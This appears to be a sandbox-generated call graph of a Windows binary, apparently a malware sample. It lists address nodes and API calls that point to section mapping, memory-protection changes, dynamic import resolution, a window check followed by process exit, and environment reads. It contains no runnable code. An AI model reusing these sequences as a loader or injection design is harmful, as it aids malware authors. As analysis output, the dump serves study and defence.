2c523df memset 21151 2c52402 21150->21151 21152 2c55b56 GetProcAddress 21151->21152 21153 2c52425 21152->21153 21154 2c52433 GetLastError 21153->21154 21155 2c5243b 21153->21155 21154->21155 21156 2c55b56 GetProcAddress 21155->21156 21156->21149 21191 2c53063 21190->21191 21192 2c54270 NtOpenProcessToken 21190->21192 21191->21042 21215 2c54b4f 21191->21215 21193 2c54283 NtQueryInformationToken 21192->21193 21194 2c542d8 NtClose 21192->21194 21224 2c533dc RtlAllocateHeap 21193->21224 21194->21191 21196 2c5429f 21197 2c542a5 NtQueryInformationToken 21196->21197 21198 2c542ce NtClose 21196->21198 21199 2c542c8 21197->21199 21200 2c542b8 memcpy 21197->21200 21198->21194 21225 2c561da RtlFreeHeap 21199->21225 21200->21199 21203 2c55e61 OpenProcessToken 21202->21203 21204 2c55ef9 21202->21204 21203->21204 21205 2c55e7c GetTokenInformation GetTokenInformation 21203->21205 21204->21045 21206 2c55eef CloseHandle 21205->21206 21207 2c55ea9 21205->21207 21206->21204 21226 2c533dc RtlAllocateHeap 21207->21226 21209 2c55eb2 21210 2c55eee 21209->21210 21211 2c55eb8 GetTokenInformation 21209->21211 21210->21206 21212 2c55ee8 21211->21212 21213 2c55ecb GetSidSubAuthorityCount GetSidSubAuthority 21211->21213 21227 2c561da RtlFreeHeap 21212->21227 21213->21212 21228 2c5661c lstrlenW 21215->21228 21218 2c5661c 4 API calls 21223 2c54b8a 21218->21223 21219 2c54bda 21234 2c561da RtlFreeHeap 21219->21234 21221 2c54be0 21221->21042 21223->21219 21233 2c561da RtlFreeHeap 21223->21233 21224->21196 21225->21198 21226->21209 21227->21210 21235 2c533dc RtlAllocateHeap 21228->21235 21230 2c5663f 21231 2c56646 memcpy memset 21230->21231 21232 2c54b72 21230->21232 21231->21232 21232->21218 21232->21221 21233->21219 21234->21221 21235->21230 21236->21057 21240 2c5115e 21237->21240 21239 2c51211 21239->21079 21240->21239 21262 2c533dc RtlAllocateHeap 21240->21262 21263 2c561da RtlFreeHeap 21240->21263 21262->21240 21263->21240 22224 2c53a91 22223->22224 22225 2c53ab1 SysAllocString 22224->22225 22234 2c523d9 22224->22234 22226 2c53ac5 SysAllocString 22225->22226 22235 2c53aec 22225->22235 22227 2c53ada 22226->22227 22226->22235 22232 2c53ae0 SysAllocString 22227->22232 22227->22235 22228 2c53b51 22230 2c53b57 SysFreeString 22228->22230 22231 2c53b60 22228->22231 22229 2c53b48 SysFreeString 22229->22228 22230->22231 22233 2c53b64 SysFreeString 22231->22233 22231->22234 22232->22228 22232->22235 22233->22234 22234->21149 22234->21150 22235->22228 22235->22229 22251 6cb51a23 22252 6cb51a2c 22251->22252 22253 6cb51b8b 22252->22253 22258 6cb51a40 22252->22258 22254 6cb43a70 43 API calls 22253->22254 22255 6cb51b9a 22254->22255 22256 6cb45040 43 API calls 22255->22256 22262 6cb51bab 22256->22262 22257 6cb42490 _Error_objects 43 API calls 22257->22262 22259 6cb44e30 43 API calls 22258->22259 22260 6cb51add 22259->22260 22264 6cb44e30 43 API calls 22260->22264 22261 6cb44e30 43 API calls 22261->22262 22262->22257 22262->22261 22263 6cb42730 41 API calls task 22262->22263 22271 6cb51c8f 22262->22271 22263->22262 22265 6cb51b6c 22264->22265 22266 6cb42730 task 41 API calls 22265->22266 22267 6cb51b77 22266->22267 22268 6cb42730 task 41 API calls 22267->22268 22269 6cb51b86 22268->22269 22270 6cb52553 22273 6cb42750 __DllMainCRTStartup@12 41 API calls 22270->22273 22271->22270 22272 6cb43420 41 API calls 22271->22272 22272->22270 22274 6cb5256b 22273->22274 22275 6cb42750 __DllMainCRTStartup@12 41 API calls 22274->22275 22276 6cb5257a 22275->22276 22277 6cb42730 task 41 API calls 22276->22277 22278 6cb52589 22277->22278 22279 6cb5ae63 22280 6cb5ae71 22279->22280 22281 6cb5ae6c 22279->22281 22285 6cb5ad2d 22280->22285 22300 6cb5b265 22281->22300 22287 6cb5ad39 __FrameHandler3::FrameUnwindToState 22285->22287 22286 6cb5ad62 dllmain_raw 22288 6cb5ad48 22286->22288 22290 6cb5ad7c dllmain_crt_dispatch 22286->22290 22287->22286 22287->22288 22289 6cb5ad5d 22287->22289 22304 6cb58190 22289->22304 22290->22288 22290->22289 22301 6cb5b27b 22300->22301 22303 6cb5b284 22301->22303 22624 6cb5b218 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 22301->22624 22303->22280 22305 6cb44f70 _Error_objects 43 API calls 22304->22305 22306 6cb581ac 22305->22306 22307 6cb44f70 _Error_objects 43 API calls 22306->22307 22308 6cb581b7 22307->22308 22309 6cb44f70 _Error_objects 43 API calls 22308->22309 22310 6cb581c2 22309->22310 22311 6cb44f70 _Error_objects 43 API calls 22310->22311 22312 6cb581cd 22311->22312 22313 6cb44f70 _Error_objects 43 API calls 22312->22313 22314 6cb581d8 22313->22314 22315 6cb44f70 _Error_objects 43 API calls 22314->22315 22316 6cb581e3 22315->22316 22317 6cb44f70 _Error_objects 43 API calls 22316->22317 22318 6cb581ee 22317->22318 22319 6cb44f70 _Error_objects 43 API calls 22318->22319 22320 6cb581f9 22319->22320 22321 6cb44f70 _Error_objects 43 API calls 22320->22321 22322 6cb58204 22321->22322 22323 6cb44f70 _Error_objects 43 API calls 22322->22323 22324 6cb5820f 22323->22324 22325 6cb44f70 _Error_objects 43 API calls 22324->22325 22326 6cb5821a 22325->22326 22327 6cb44f70 _Error_objects 43 API calls 22326->22327 22328 6cb58222 22327->22328 22329 6cb44f70 _Error_objects 43 API calls 22328->22329 22330 6cb5822a 22329->22330 22331 6cb44f70 _Error_objects 43 API calls 22330->22331 22332 6cb58232 __DllMainCRTStartup@12 22331->22332 22333 6cb5ebd0 ___std_exception_copy 15 API calls 22332->22333 22334 6cb5824c GetModuleHandleA GetCurrentDirectoryA RegOpenKeyA 22333->22334 22335 6cb58295 RegEnumKeyA lstrlenA 22334->22335 22335->22335 22336 6cb582ce 22335->22336 22337 6cb42750 __DllMainCRTStartup@12 41 API calls 22336->22337 22338 6cb582dd 22337->22338 22339 6cb42750 __DllMainCRTStartup@12 41 API calls 22338->22339 22340 6cb582e5 22339->22340 22341 6cb42730 task 41 API calls 22340->22341 22342 6cb582ed 22341->22342 22343 6cb42730 task 41 API calls 22342->22343 22344 6cb582f5 22343->22344 22345 6cb42730 task 41 API calls 22344->22345 22346 6cb582fd 22345->22346 22347 6cb42730 task 41 API calls 22346->22347 22348 6cb58308 22347->22348 22349 6cb42730 task 41 API calls 22348->22349 22350 6cb58313 22349->22350 22351 6cb42730 task 41 API calls 22350->22351 22352 6cb5831e 22351->22352 22353 6cb42730 task 41 API calls 22352->22353 22354 6cb58329 22353->22354 22624->22303 22625 6cb5ab23 22626 6cb5ab61 22625->22626 22627 6cb5ab2e 22625->22627 22628 6cb5ac7d __DllMainCRTStartup@12 95 API calls 22626->22628 22629 6cb5ab53 22627->22629 22630 6cb5ab33 22627->22630 22635 6cb5ab3d 22628->22635 22637 6cb5ab76 22629->22637 22632 6cb5ab49 22630->22632 22633 6cb5ab38 22630->22633 22656 6cb5a8b8 22632->22656 22633->22635 22651 6cb5a8d7 22633->22651 22638 6cb5ab82 __FrameHandler3::FrameUnwindToState 22637->22638 22664 6cb5a948 22638->22664 22640 6cb5ab89 __DllMainCRTStartup@12 22641 6cb5ac75 22640->22641 22642 6cb5abb0 22640->22642 22648 6cb5abec ___scrt_is_nonwritable_in_current_image CallUnexpected 22640->22648 22644 6cb5b0a1 __DllMainCRTStartup@12 4 API calls 22641->22644 22675 6cb5a8aa 22642->22675 22645 6cb5ac7c 22644->22645 22646 6cb5abbf __RTC_Initialize 22646->22648 22678 6cb5b2b0 InitializeSListHead 22646->22678 22648->22635 22649 6cb5abcd 22649->22648 22679 6cb5a87f 22649->22679 22794 6cb60819 22651->22794 22883 6cb5d118 22656->22883 22660 6cb5a8d4 22660->22635 22662 6cb5d123 21 API calls 22663 6cb5a8c1 22662->22663 22663->22635 22665 6cb5a951 22664->22665 22683 6cb5aec0 IsProcessorFeaturePresent 22665->22683 22669 6cb5a962 22670 6cb5a966 22669->22670 22693 6cb607fc 22669->22693 22670->22640 22673 6cb5a97d 22673->22640 22674 6cb5d12e ___scrt_uninitialize_crt 7 API calls 22674->22670 22788 6cb5a981 22675->22788 22677 6cb5a8b1 22677->22646 22678->22649 22680 6cb5a884 ___scrt_release_startup_lock 22679->22680 22681 6cb5aec0 IsProcessorFeaturePresent 22680->22681 22682 6cb5a88d 22680->22682 22681->22682 22682->22648 22684 6cb5a95d 22683->22684 22685 6cb5d0f9 22684->22685 22696 6cb5e3ec 22685->22696 22688 6cb5d102 22688->22669 22690 6cb5d10a 22691 6cb5d115 22690->22691 22692 6cb5e428 ___vcrt_uninitialize_locks DeleteCriticalSection 22690->22692 22691->22669 22692->22688 22725 6cb6359e 22693->22725 22697 6cb5e3f5 22696->22697 22699 6cb5e41e 22697->22699 22701 6cb5d0fe 22697->22701 22710 6cb5e799 22697->22710 22700 6cb5e428 ___vcrt_uninitialize_locks DeleteCriticalSection 22699->22700 22700->22701 22701->22688 22702 6cb5d5eb 22701->22702 22715 6cb5e6aa 22702->22715 22705 6cb5d600 22705->22690 22708 6cb5d61b 22708->22690 22709 6cb5d61e ___vcrt_uninitialize_ptd 6 API calls 22709->22705 22711 6cb5e661 ___vcrt_FlsFree 5 API calls 22710->22711 22712 6cb5e7b3 22711->22712 22713 6cb5e7d1 InitializeCriticalSectionAndSpinCount 22712->22713 22714 6cb5e7bc 22712->22714 22713->22714 22714->22697 22716 6cb5e661 ___vcrt_FlsFree 5 API calls 22715->22716 22717 6cb5e6c4 22716->22717 22718 6cb5e6dd TlsAlloc 22717->22718 22719 6cb5d5f5 22717->22719 22719->22705 22720 6cb5e75b 22719->22720 22721 6cb5e661 ___vcrt_FlsFree 5 API calls 22720->22721 22722 6cb5e775 22721->22722 22723 6cb5d60e 22722->22723 22724 6cb5e790 TlsSetValue 22722->22724 22723->22708 22723->22709 22724->22723 22726 6cb635ae 22725->22726 22727 6cb5a96f 22725->22727 22726->22727 22730 6cb63462 22726->22730 22735 6cb63512 22726->22735 22727->22673 22727->22674 22731 6cb63469 22730->22731 22732 6cb634ac GetStdHandle 22731->22732 22733 6cb6350e 22731->22733 22734 6cb634bf GetFileType 22731->22734 22732->22731 22733->22726 22734->22731 22736 6cb6351e __FrameHandler3::FrameUnwindToState 22735->22736 22747 6cb61f77 EnterCriticalSection 22736->22747 22738 6cb63525 22748 6cb657df 22738->22748 22745 6cb63462 2 API calls 22746 6cb63543 22745->22746 22767 6cb63569 22746->22767 22747->22738 22749 6cb657eb __FrameHandler3::FrameUnwindToState 22748->22749 22750 6cb657f4 22749->22750 22751 6cb65815 22749->22751 22752 6cb613c9 __dosmaperr 14 API calls 22750->22752 22770 6cb61f77 EnterCriticalSection 22751->22770 22754 6cb657f9 22752->22754 22755 6cb5eb6f ___std_exception_copy 41 API calls 22754->22755 22756 6cb63534 22755->22756 22756->22746 22761 6cb633ac GetStartupInfoW 22756->22761 22757 6cb6584d 22778 6cb65874 22757->22778 22758 6cb65821 22758->22757 22771 6cb6572f 22758->22771 22762 6cb6345d 22761->22762 22763 6cb633c9 22761->22763 22762->22745 22763->22762 22764 6cb657df 42 API calls 22763->22764 22765 6cb633f1 22764->22765 22765->22762 22766 6cb63421 GetFileType 22765->22766 22766->22765 22787 6cb61fbf LeaveCriticalSection 22767->22787 22769 6cb63554 22769->22726 22770->22758 22772 6cb62007 _unexpected 14 API calls 22771->22772 22774 6cb65741 22772->22774 22773 6cb6574e 22775 6cb61657 __freea 14 API calls 22773->22775 22774->22773 22781 6cb61a07 22774->22781 22777 6cb657a3 22775->22777 22777->22758 22786 6cb61fbf LeaveCriticalSection 22778->22786 22780 6cb6587b 22780->22756 22782 6cb61826 _unexpected 5 API calls 22781->22782 22783 6cb61a23 22782->22783 22784 6cb61a41 InitializeCriticalSectionAndSpinCount 22783->22784 22785 6cb61a2c 22783->22785 22784->22785 22785->22774 22786->22780 22787->22769 22789 6cb5a991 22788->22789 22790 6cb5a98d 22788->22790 22791 6cb5a99e ___scrt_release_startup_lock 22789->22791 22792 6cb5b0a1 __DllMainCRTStartup@12 4 API calls 22789->22792 22790->22677 22791->22677 22793 6cb5aa07 22792->22793 22800 6cb60da0 22794->22800 22797 6cb5d123 22866 6cb5d515 22797->22866 22801 6cb60daa 22800->22801 22802 6cb5a8dc 22800->22802 22803 6cb61986 _unexpected 6 API calls 22801->22803 22802->22797 22804 6cb60db1 22803->22804 22804->22802 22805 6cb619c5 _unexpected 6 API calls 22804->22805 22806 6cb60dc4 22805->22806 22808 6cb60c67 22806->22808 22809 6cb60c82 22808->22809 22810 6cb60c72 22808->22810 22809->22802 22814 6cb60c88 22810->22814 22813 6cb61657 __freea 14 API calls 22813->22809 22815 6cb60ca3 22814->22815 22816 6cb60c9d 22814->22816 22818 6cb61657 __freea 14 API calls 22815->22818 22817 6cb61657 __freea 14 API calls 22816->22817 22817->22815 22819 6cb60caf 22818->22819 22820 6cb61657 __freea 14 API calls 22819->22820 22821 6cb60cba 22820->22821 22822 6cb61657 __freea 14 API calls 22821->22822 22823 6cb60cc5 22822->22823 22824 6cb61657 __freea 14 API calls 22823->22824 22825 6cb60cd0 22824->22825 22826 6cb61657 __freea 14 API calls 22825->22826 22827 6cb60cdb 22826->22827 22828 6cb61657 __freea 14 API calls 22827->22828 22829 6cb60ce6 22828->22829 22830 6cb61657 __freea 14 API calls 22829->22830 22831 6cb60cf1 22830->22831 22832 6cb61657 __freea 14 API calls 22831->22832 22833 6cb60cfc 22832->22833 22834 6cb61657 __freea 14 API calls 22833->22834 22835 6cb60d0a 22834->22835 22840 6cb60ab4 22835->22840 22841 6cb60ac0 __FrameHandler3::FrameUnwindToState 22840->22841 22856 6cb61f77 EnterCriticalSection 22841->22856 22844 6cb60aca 22846 6cb61657 __freea 14 API calls 22844->22846 22847 6cb60af4 22844->22847 22846->22847 22857 6cb60b13 22847->22857 22848 6cb60b1f 22849 6cb60b2b __FrameHandler3::FrameUnwindToState 22848->22849 22861 6cb61f77 EnterCriticalSection 22849->22861 22851 6cb60b35 22852 6cb60d55 _unexpected 14 API calls 22851->22852 22853 6cb60b48 22852->22853 22862 6cb60b68 22853->22862 22856->22844 22860 6cb61fbf LeaveCriticalSection 22857->22860 22859 6cb60b01 22859->22848 22860->22859 22861->22851 22865 6cb61fbf LeaveCriticalSection 22862->22865 22864 6cb60b56 22864->22813 22865->22864 22867 6cb5d522 22866->22867 22868 6cb5a8e1 22866->22868 22869 6cb5d530 22867->22869 22874 6cb5e720 22867->22874 22868->22635 22871 6cb5e75b ___vcrt_FlsSetValue 6 API calls 22869->22871 22872 6cb5d540 22871->22872 22879 6cb5d4f9 22872->22879 22875 6cb5e661 ___vcrt_FlsFree 5 API calls 22874->22875 22876 6cb5e73a 22875->22876 22877 6cb5e752 TlsGetValue 22876->22877 22878 6cb5e746 22876->22878 22877->22878 22878->22869 22880 6cb5d510 22879->22880 22881 6cb5d503 22879->22881 22880->22868 22881->22880 22882 6cb5f9f8 ___std_exception_destroy 14 API calls 22881->22882 22882->22880 22889 6cb5d559 22883->22889 22885 6cb5a8bd 22885->22663 22886 6cb6080e 22885->22886 22903 6cb60f1d GetLastError 22886->22903 22888 6cb5a8c9 22888->22660 22888->22662 22890 6cb5d565 GetLastError 22889->22890 22891 6cb5d562 22889->22891 22892 6cb5e720 ___vcrt_FlsGetValue 6 API calls 22890->22892 22891->22885 22893 6cb5d57a 22892->22893 22894 6cb5d5df SetLastError 22893->22894 22895 6cb5e75b ___vcrt_FlsSetValue 6 API calls 22893->22895 22902 6cb5d599 22893->22902 22894->22885 22896 6cb5d593 CallUnexpected 22895->22896 22897 6cb5d5bb 22896->22897 22898 6cb5e75b ___vcrt_FlsSetValue 6 API calls 22896->22898 22896->22902 22899 6cb5e75b ___vcrt_FlsSetValue 6 API calls 22897->22899 22900 6cb5d5cf 22897->22900 22898->22897 22899->22900 22901 6cb5f9f8 ___std_exception_destroy 14 API calls 22900->22901 22901->22902 22902->22894 22904 6cb60f33 22903->22904 22905 6cb60f39 22903->22905 22907 6cb61986 _unexpected 6 API calls 22904->22907 22906 6cb619c5 _unexpected 6 API calls 22905->22906 22909 6cb60f3d SetLastError 22905->22909 22908 6cb60f55 22906->22908 22907->22905 22908->22909 22911 6cb62007 _unexpected 12 API calls 22908->22911 22909->22888 22912 6cb60f6a 22911->22912 22913 6cb60f72 22912->22913 22914 6cb60f83 22912->22914 22915 6cb619c5 _unexpected 6 API calls 22913->22915 22916 6cb619c5 _unexpected 6 API calls 22914->22916 22917 6cb60f80 22915->22917 22918 6cb60f8f 22916->22918 22921 6cb61657 __freea 12 API calls 22917->22921 22919 6cb60f93 22918->22919 22920 6cb60faa 22918->22920 22923 6cb619c5 _unexpected 6 API calls 22919->22923 22922 6cb60bce _unexpected 12 API calls 22920->22922 22921->22909 22924 6cb60fb5 22922->22924 22923->22917 22925 6cb61657 __freea 12 API calls 22924->22925 22925->22909 22926 6cb4eaa3 22927 6cb4eab9 22926->22927 22928 6cb4eb20 22927->22928 22929 6cb45040 43 API calls 22927->22929 22957 6cb5ec00 22928->22957 22929->22928 22931 6cb4eb2a 22932 6cb5ec00 44 API calls 22931->22932 22933 6cb4eb6f lstrcmpiA 22932->22933 22935 6cb4eb9b 22933->22935 22934 6cb42490 _Error_objects 43 API calls 22934->22935 22935->22934 22936 6cb42730 task 41 API calls 22935->22936 22937 6cb4ebed 22935->22937 22936->22935 22939 6cb43a70 43 API calls 22937->22939 22942 6cb4f3e3 22937->22942 22938 6cb45040 43 API calls 22954 6cb4f430 22938->22954 22939->22942 22940 6cb4f514 22941 6cb42750 __DllMainCRTStartup@12 41 API calls 22940->22941 22943 6cb4f529 22941->22943 22942->22938 22944 6cb42730 task 41 API calls 22943->22944 22945 6cb4f538 22944->22945 22946 6cb42730 task 41 API calls 22945->22946 22947 6cb4f547 22946->22947 22948 6cb42730 task 41 API calls 22947->22948 22949 6cb4f553 22948->22949 22950 6cb42730 task 41 API calls 22949->22950 22952 6cb4f55f 22950->22952 22951 6cb44e30 43 API calls 22951->22954 22953 6cb42730 task 41 API calls 22952->22953 22955 6cb4f56e 22953->22955 22954->22940 22954->22951 22956 6cb42730 task 41 API calls 22954->22956 22956->22954 22958 6cb5ec17 22957->22958 22959 6cb5ec33 22957->22959 22958->22931 22960 6cb60dcc _unexpected 41 API calls 22959->22960 22961 6cb5ec38 22960->22961 22962 6cb61270 41 API calls 22961->22962 22963 6cb5ec48 22962->22963 22963->22958 22966 6cb611a5 22963->22966 22967 6cb5ec8b 41 API calls 22966->22967 22969 6cb611c2 22967->22969 22968 6cb611d2 22971 6cb5b34f __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 22968->22971 22969->22968 22970 6cb644ea 44 API calls 22969->22970 22970->22968 22972 6cb5ec7a 22971->22972 22972->22931 22973 6cb58b2d 22974 6cb58b3c 22973->22974 22975 6cb58ca1 22974->22975 22980 6cb58b52 22974->22980 22976 6cb45040 43 API calls 22975->22976 22977 6cb58cb9 22976->22977 23004 6cb42920 CreateDialogParamA DestroyWindow KiUserCallbackDispatcher 22977->23004 22982 6cb44e30 43 API calls 22980->22982 22981 6cb43a70 43 API calls 22991 6cb58cdc 22981->22991 22983 6cb58be0 22982->22983 22984 6cb42490 _Error_objects 43 API calls 22983->22984 22985 6cb58bf0 22984->22985 22989 6cb44e30 43 API calls 22985->22989 22986 6cb42490 _Error_objects 43 API calls 22987 6cb58dbd std::ios_base::good 22986->22987 22987->22986 22990 6cb42730 task 41 API calls 22987->22990 23002 6cb58e9d 22987->23002 22988 6cb44e30 43 API calls 22988->22991 22992 6cb58c7b 22989->22992 22990->22987 22991->22987 22991->22988 22994 6cb42730 task 41 API calls 22991->22994 22993 6cb42730 task 41 API calls 22992->22993 22995 6cb58c86 22993->22995 22994->22991 22996 6cb42730 task 41 API calls 22995->22996 22998 6cb58c91 22996->22998 22997 6cb58ffb 22999 6cb42730 task 41 API calls 22998->22999 23000 6cb58c9c 22999->23000 23001 6cb44e30 43 API calls 23001->23002 23002->22997 23002->23001 23003 6cb42730 41 API calls task 23002->23003 23003->23002 23005 6cb42961 std::ios_base::good 23004->23005 23006 6cb42970 23005->23006 23007 6cb42968 ExitProcess 23005->23007 23006->22981 23008 2bf20a4 23009 2bf20bd 23008->23009 23020 2bf1e4a ConvertStringSecurityDescriptorToSecurityDescriptorA 23009->23020 23011 2bf20d1 23021 2bf13a7 23011->23021 23013 2bf20f6 23014 2bf20fa lstrlenW 23013->23014 23015 2bf2151 ExitThread 23013->23015 23026 2bf1598 GetSystemTimeAsFileTime _aulldiv _snwprintf 23014->23026 23019 2bf211d 23037 2bf166a 23019->23037 23020->23011 23024 2bf1408 23021->23024 23023 2bf14b3 23023->23013 23024->23023 23048 2bf2046 RtlAllocateHeap 23024->23048 23049 2bf1cd6 RtlFreeHeap 23024->23049 23027 2bf15f6 CreateFileMappingW 23026->23027 23028 2bf15f1 23026->23028 23029 2bf1659 GetLastError 23027->23029 23030 2bf1611 23027->23030 23028->23027 23031 2bf163a 23029->23031 23032 2bf161c GetLastError 23030->23032 23033 2bf162a MapViewOfFile 23030->23033 23031->23019 23032->23033 23035 2bf1625 23032->23035 23033->23031 23034 2bf1648 GetLastError 23033->23034 23034->23031 23036 2bf1650 CloseHandle 23034->23036 23035->23036 23036->23031 23050 2bf1142 23037->23050 23039 2bf16a6 23040 2bf16f0 23039->23040 23046 2bf1702 23039->23046 23063 2bf1ceb 23039->23063 23075 2bf1cd6 RtlFreeHeap 23040->23075 23046->23015 23047 2bf16e8 GetLastError 23047->23040 23048->23024 23049->23024 23076 2bf2046 RtlAllocateHeap 23050->23076 23052 2bf1150 23053 2bf115a GetModuleHandleA GetProcAddress 23052->23053 23062 2bf1206 23052->23062 23054 2bf11ff 23053->23054 23055 2bf1191 GetProcAddress 23053->23055 23054->23062 23083 2bf1cd6 RtlFreeHeap 23054->23083 23055->23054 23057 2bf11a7 GetProcAddress 23055->23057 23057->23054 23058 2bf11bd GetProcAddress 23057->23058 23058->23054 23059 2bf11d3 GetProcAddress 23058->23059 23059->23054 23060 2bf11e9 23059->23060 23077 2bf1e76 NtCreateSection 23060->23077 23062->23039 23064 2bf16c5 23063->23064 23065 2bf1d0e 23063->23065 23064->23040 23070 2bf170e VirtualProtect 23064->23070 23065->23064 23068 2bf1d1e 23065->23068 23066 2bf1d1f LoadLibraryA 23067 2bf1de2 23066->23067 23066->23068 23067->23064 23068->23066 23068->23067 23069 2bf1d91 GetProcAddress 23068->23069 23069->23068 23071 2bf16d3 23070->23071 23072 2bf1757 23070->23072 23071->23040 23071->23047 23072->23071 23073 2bf17ad VirtualProtect 23072->23073 23073->23072 23074 2bf17c2 GetLastError 23073->23074 23074->23072 23075->23046 23076->23052 23078 2bf1eda 23077->23078 23082 2bf1f07 23077->23082 23084 2bf205b NtMapViewOfSection 23078->23084 23081 2bf1eee memset 23081->23082 23082->23054 23083->23062 23085 2bf1ee8 23084->23085 23085->23081 23085->23082 23086 6cb54a95 23087 6cb54aab 23086->23087 23088 6cb54aef 23087->23088 23089 6cb45040 43 API calls 23087->23089 23090 6cb43420 41 API calls 23088->23090 23089->23088 23091 6cb54af9 23090->23091 23092 6cb45040 43 API calls 23091->23092 23093 6cb54b05 23092->23093 23094 6cb42730 task 41 API calls 23093->23094 23095 6cb54b41 23094->23095 23096 6cb45040 43 API calls 23095->23096 23098 6cb54b4d 23096->23098 23097 6cb44e30 43 API calls 23097->23098 23098->23097 23099 6cb42730 task 41 API calls 23098->23099 23099->23098 23100 6cb526d6 23101 6cb526df 23100->23101 23102 6cb52835 23101->23102 23107 6cb526f0 23101->23107 23103 6cb5291b 23102->23103 23104 6cb42490 _Error_objects 43 API calls 23102->23104 23105 6cb45040 43 API calls 23103->23105 23113 6cb52859 23104->23113 23106 6cb52928 23105->23106 23108 6cb45040 43 API calls 23106->23108 23109 6cb44e30 43 API calls 23107->23109 23110 6cb52934 std::ios_base::good 23108->23110 23122 6cb52777 23109->23122 23111 6cb5299f 23110->23111 23114 6cb49e20 43 API calls 23110->23114 23112 6cb45040 43 API calls 23111->23112 23120 6cb529ac 23112->23120 23115 6cb42730 task 41 API calls 23113->23115 23117 6cb5294d 23114->23117 23116 6cb528e5 GetCurrentThreadId 23115->23116 23118 6cb45040 43 API calls 23116->23118 23119 6cb43a70 43 API calls 23117->23119 23118->23103 23121 6cb52993 23119->23121 23124 6cb45040 43 API calls 23120->23124 23123 6cb45040 43 API calls 23121->23123 23125 6cb44e30 43 API calls 23122->23125 23123->23111 23146 6cb52a0e std::ios_base::good 23124->23146 23126 6cb52816 23125->23126 23127 6cb42730 task 41 API calls 23126->23127 23128 6cb52821 23127->23128 23130 6cb42730 task 41 API calls 23128->23130 23129 6cb45040 43 API calls 23135 6cb5388b 23129->23135 23131 6cb52830 23130->23131 23132 6cb538db 23133 6cb43420 41 API calls 23132->23133 23134 6cb538e5 23133->23134 23136 6cb57640 43 API calls 23134->23136 23135->23132 23137 6cb42490 _Error_objects 43 API calls 23135->23137 23139 6cb42730 task 41 API calls 23135->23139 23138 6cb538f8 23136->23138 23137->23135 23140 6cb49e20 43 API calls 23138->23140 23139->23135 23141 6cb53927 23140->23141 23142 6cb42730 task 41 API calls 23141->23142 23144 6cb53936 23142->23144 23143 6cb42490 _Error_objects 43 API calls 23143->23144 23144->23143 23145 6cb42730 task 41 API calls 23144->23145 23145->23144 23147 6cb53082 StrToIntA 23146->23147 23148 6cb5309e 23146->23148 23150 6cb5384a 23146->23150 23147->23148 23149 6cb43a70 43 API calls 23148->23149 23148->23150 23149->23150 23150->23129 23151 6cb411d0 23152 6cb41234 23151->23152 23153 6cb41205 23151->23153 23156 6cb417c7 23152->23156 23164 6cb4122f 23152->23164 23154 6cb41792 DefWindowProcA 23153->23154 23155 6cb41212 23153->23155 23289 6cb41783 23154->23289 23157 6cb4121c 23155->23157 23158 6cb41828 PostQuitMessage 23155->23158 23159 6cb42490 _Error_objects 43 API calls 23156->23159 23160 6cb41226 23157->23160 23161 6cb4181c DestroyWindow 23157->23161 23158->23289 23162 6cb417dd 23159->23162 23163 6cb41260 FindWindowA 23160->23163 23160->23164 23161->23289 23305 6cb442e0 23162->23305 23167 6cb41785 ExitProcess 23163->23167 23168 6cb4127a DestroyWindow 23163->23168 23165 6cb41832 DefWindowProcA 23164->23165 23164->23289 23165->23289 23291 6cb42520 23168->23291 23171 6cb42730 task 41 API calls 23171->23289 23172 6cb4128c GetEnvironmentStrings 23173 6cb42490 _Error_objects 43 API calls 23172->23173 23174 6cb412a2 23173->23174 23293 6cb43770 23174->23293 23177 6cb42730 task 41 API calls 23178 6cb412be GetEnvironmentStrings 23177->23178 23179 6cb42490 _Error_objects 43 API calls 23178->23179 23180 6cb412d0 23179->23180 23181 6cb43770 43 API calls 23180->23181 23182 6cb412e3 23181->23182 23183 6cb42730 task 41 API calls 23182->23183 23184 6cb412f2 GetEnvironmentStrings 23183->23184 23185 6cb42490 _Error_objects 43 API calls 23184->23185 23186 6cb41304 23185->23186 23187 6cb43770 43 API calls 23186->23187 23188 6cb41317 23187->23188 23189 6cb42730 task 41 API calls 23188->23189 23190 6cb41326 GetEnvironmentStrings 23189->23190 23191 6cb42490 _Error_objects 43 API calls 23190->23191 23192 6cb41338 23191->23192 23193 6cb43770 43 API calls 23192->23193 23194 6cb4134b 23193->23194 23195 6cb42730 task 41 API calls 23194->23195 23196 6cb4135a GetEnvironmentStrings 23195->23196 23197 6cb42490 _Error_objects 43 API calls 23196->23197 23198 6cb4136c 23197->23198 23199 6cb43770 43 API calls 23198->23199 23200 6cb4137f 23199->23200 23201 6cb42730 task 41 API calls 23200->23201 23202 6cb4138e GetEnvironmentStringsA 23201->23202 23203 6cb42490 _Error_objects 43 API calls 23202->23203 23204 6cb413a0 23203->23204 23205 6cb43770 43 API calls 23204->23205 23206 6cb413b3 23205->23206 23207 6cb42730 task 41 API calls 23206->23207 23208 6cb413c2 23207->23208 23209 6cb5ebd0 ___std_exception_copy 15 API calls 23208->23209 23210 6cb413cc GetSystemDirectoryA GetEnvironmentStrings 23209->23210 23211 6cb42490 _Error_objects 43 API calls 23210->23211 23292 6cb4253c Concurrency::details::WorkQueue::PushStructured __DllMainCRTStartup@12 23291->23292 23292->23172 23294 6cb43780 swap 23293->23294 23314 6cb422a0 23294->23314 23393 6cb43820 23305->23393 23307 6cb44312 23399 6cb44380 23307->23399 23312 6cb42730 task 41 API calls 23313 6cb417ff 23312->23313 23313->23171 23315 6cb422c5 swap 23314->23315 23316 6cb422dc swap 23314->23316 23337 6cb41c30 23315->23337 23320 6cb41cc0 23316->23320 23319 6cb412b2 23319->23177 23321 6cb41ced task 23320->23321 23322 6cb41d43 23321->23322 23323 6cb431e0 43 API calls 23321->23323 23324 6cb43220 allocator 43 API calls 23322->23324 23323->23322 23325 6cb41d67 swap 23324->23325 23341 6cb42140 23325->23341 23328 6cb41dcf 23354 6cb43170 23328->23354 23329 6cb41de9 23357 6cb43110 23329->23357 23333 6cb43110 43 API calls 23334 6cb41de7 23333->23334 23348 6cb42b20 23334->23348 23338 6cb41c51 swap task 23337->23338 23339 6cb42140 43 API calls 23338->23339 23340 6cb41c84 23339->23340 23340->23319 23342 6cb4214b task 23341->23342 23343 6cb42152 swap 23342->23343 23346 6cb4216d swap _Error_objects 23342->23346 23361 6cb42230 23343->23361 23345 6cb41db8 23345->23328 23345->23329 23347 6cb42420 43 API calls 23346->23347 23347->23345 23349 6cb42b4f task 23348->23349 23350 6cb41e78 23349->23350 